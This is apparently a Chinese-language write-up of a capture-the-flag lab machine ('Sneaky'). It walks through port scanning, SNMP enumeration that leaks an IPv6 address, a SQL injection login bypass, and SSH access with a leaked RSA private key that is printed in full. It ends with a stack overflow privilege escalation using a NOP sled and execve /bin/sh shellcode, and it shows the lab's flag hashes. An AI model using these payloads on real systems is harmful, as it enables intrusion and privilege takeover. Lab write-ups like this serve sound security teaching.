maptnh
- 关注

Information Gathering
IP Address | Opening Ports |
---|---|
10.10.10.20 | TCP:22,80 |
$ ip='10.10.10.20'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 5d:5d:2a:97:85:a1:20:e2:26:e4:13:54:58:d6:a4:22 (DSA)
| 2048 a2:00:0e:99:0f:d3:ed:b0:19:d4:6b:a8:b1:93:d9:87 (RSA)
| 256 e3:29:c4:cb:87:98:df:99:6f:36:9f:31:50:e3:b9:42 (ECDSA)
|_ 256 e6:85:a8:f8:62:67:f7:01:28:a1:aa:00:b5:60:f2:21 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
snmp
获取网络配置中泄露的ipv6地址,管理员禁用的对ipv4的访问,通常疏忽了ipv6的访问限制。
$ snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6 | cut -d'"' -f2 | grep 'de:ad' | sed -E 's/(.{2}):(.{2})/\1\2/g'
dead:beef:0000:0000:0250:56ff:feb9:0752
What is IPV6 && Double colon
示例:2001:0db8:85a3:0000:0000:8a2e:0370:7334
double colon(::) 是一个缩写符号,用于表示连续的零(0)字段
缩写后 2001:0db8:85a3::8a2e:0370:7334
头地址:
地址类型 | 前缀(开头部分) | 描述 |
---|---|---|
全局单播地址(Global Unicast) | 2000::/3 | 用于互联网中的唯一可路由地址,相当于 IPv4 的公网 IP。 |
链路本地地址(Link-Local) | FE80::/10 | 仅限于本地链路通信,自动配置,不可跨路由。 |
站点本地地址(Site-Local,已废弃) | FEC0::/10 | 旧的站点本地地址,现在用 ULA (FC00::/7 ) 替代。 |
唯一本地地址(Unique Local Address, ULA) | FC00::/7 | 类似于 IPv4 的私有地址(10.0.0.0/8 、192.168.0.0/16 ),用于本地网络,不能在公网使用。 |
回环地址(Loopback) | ::1/128 | 相当于 IPv4 的 127.0.0.1 ,用于测试本机。 |
未指定地址(Unspecified Address) | ::/128 | 相当于 IPv4 的 0.0.0.0 ,用于表示“没有地址”。 |
多播地址(Multicast) | FF00::/8 | 用于多播通信,相当于 IPv4 的 224.0.0.0/4 。 |
IPv4 映射地址(IPv4-Mapped IPv6 Address) | ::FFFF:0:0/96 | 兼容 IPv4,表示 IPv4 地址的 IPv6 版本,例如 ::FFFF:192.168.1.1 。 |
6to4 隧道地址(6to4 Tunnel) | 2002::/16 | IPv6 通过 IPv4 进行隧道传输的地址格式。 |
Teredo 隧道地址(Teredo Tunnel) | 2001::/32 | 一种 IPv6 穿透 NAT 的隧道机制。 |
前缀 | 固定的位数 | 自由分配的位数 | 作用 |
---|---|---|---|
/3 | 3 位 | 125 位 | IPv6 公网地址范围大 |
/10 | 10 位 | 118 位 | 只用于本地链路,不可路由 |
/7 | 7 位 | 121 位 | ULA 只限于私有网络 |
/32 | 32 位 | 96 位 | 用于特定地址分配,如 Teredo |
/96 | 96 位 | 32 位 | IPv4 兼容 IPv6 地址 |
/128 | 128 位 | 0 位 | 单个设备的固定地址(如 ::1 ) |
/10地址范围:
fe80:0000:0000:0000:0000:0000:0000:0000到febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6
Local host test
Arch:
fe80::638e:8f07:5bf5:5db0/64
Kali:
fe80::20c:29ff:fecc:f62e/64
Arch:
$ ping -6 'fe80::20c:29ff:fecc:f62e' -I ens33
注意!:通过扫描枚举ipv6地址速度是很慢的..在 IPv4 中,常见的子网是 /24(只有 256 个地址),扫描起来很快。
在 IPv6 中,最小的子网通常是 /64,意味着有 18,446,744,073,709,551,616(2⁶⁴)个可能的地址,暴力扫描几乎不可行。
SNMP-IPV6
SQLI && SSH-IPV6 Bypass
$ feroxbuster --url 'http://10.10.10.20'
http://10.10.10.20/dev/
admin' or 1=1;#
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----
$ ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:0752
User.txt
f18b5084af22f6908e2e778569e4682a
Privilege Escalation:NOP sled
/usr/local/bin/chal
$ scp -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa -i /tmp/id_rsa thrasivoulos@[dead:beef:0000:0000:0250:56ff:feb9:0752]:/usr/local/bin/chal /tmp
char var_16e[366]; 这个数组的大小是 366 字节,但它可以存储 最多 365 个字符。
在栈上的局部变量通常会按照对齐要求进行布局,比如:
变量可能会被编译器 对齐到 4 或 8 字节的边界,导致实际可用的空间变小。
其他局部变量(例如返回地址、保存的寄存器、其他局部变量)可能紧邻 var_16e,如果溢出就可能覆盖这些关键数据。
Checksec
如果你这里报错six.py异常,点开我的主页有一篇关于修复该异常的一篇博客
$ gdb -q chal
$ gdb-peda$ checksec
保护机制 | 状态 | 作用 | 您的程序情况 |
---|---|---|---|
CANARY | disabled | 栈保护机制,在栈溢出时检测并阻止漏洞利用 | 已禁用,容易受到 栈溢出攻击 |
FORTIFY | disabled | 编译时检查 printf 、strcpy 等函数,防止格式化字符串攻击 | 已禁用,可能有格式化字符串漏洞 |
NX(No eXecute) | disabled | 让数据段不可执行,防止 shellcode 执行 | 已禁用,意味着可执行数据,可能存在 ROP攻击风险 |
PIE(Position Independent Executable) | disabled | 使程序地址随机化,提高 ASLR 保护 | 已禁用,程序加载地址固定,易受 重定位攻击 |
RELRO(Relocation Read-Only) | Partial | 保护 GOT(Global Offset Table),防止 GOT 劫持 | 部分启用,GOT 可能可写,可能存在 GOT 劫持风险 |
Buffer BOF
(Arch) gdb-peda$ pattern create 1024
thrasivoulos@Sneaky:~$ gdb -q /usr/local/bin/chal
(Arch) gdb-peda$ pattern offset 0x25415525
offset:362
shellcode=>https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit
Confirm NOP Range
根据堆栈,选择合适的SHELLCODE执行地址(设置EIP跳转后的NOP滑行起点):
thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "A"*362')
thrasivoulos@Sneaky(gdb) > x/100x $esp
选择正确的NOP滑梯:
1.在0xbffff520处的数据是否可执行(X)
实际上数一下也知道写入的应该是>362字节,这里也只有76字节,所以排除
thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x20\xf5\xff\xbf"')
在0xbffff750处的数据是否可执行(√)
thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*362+"\x50\xf7\xff\xbf"')
我们的赛道在:0xbffff740-0xbffff8af
NOP sled exploit
NOP=\x90
SHELLCODE=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
EIP=0xbffff740-0xbffff8af
NOP范围:NOP_NUM = 362 - len(SHELLCODE) = 334
比较稳定的在0xbffff750
thrasivoulos@Sneaky(gdb) > r $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')
thrasivoulos@Sneaky:/tmp$ /usr/local/bin/chal $(python2 -c 'print "\x90"*334 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x50\xf7\xff\xbf"')
Root.txt
2d21ee153f5d1e517dcfc197a58a2e37
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)

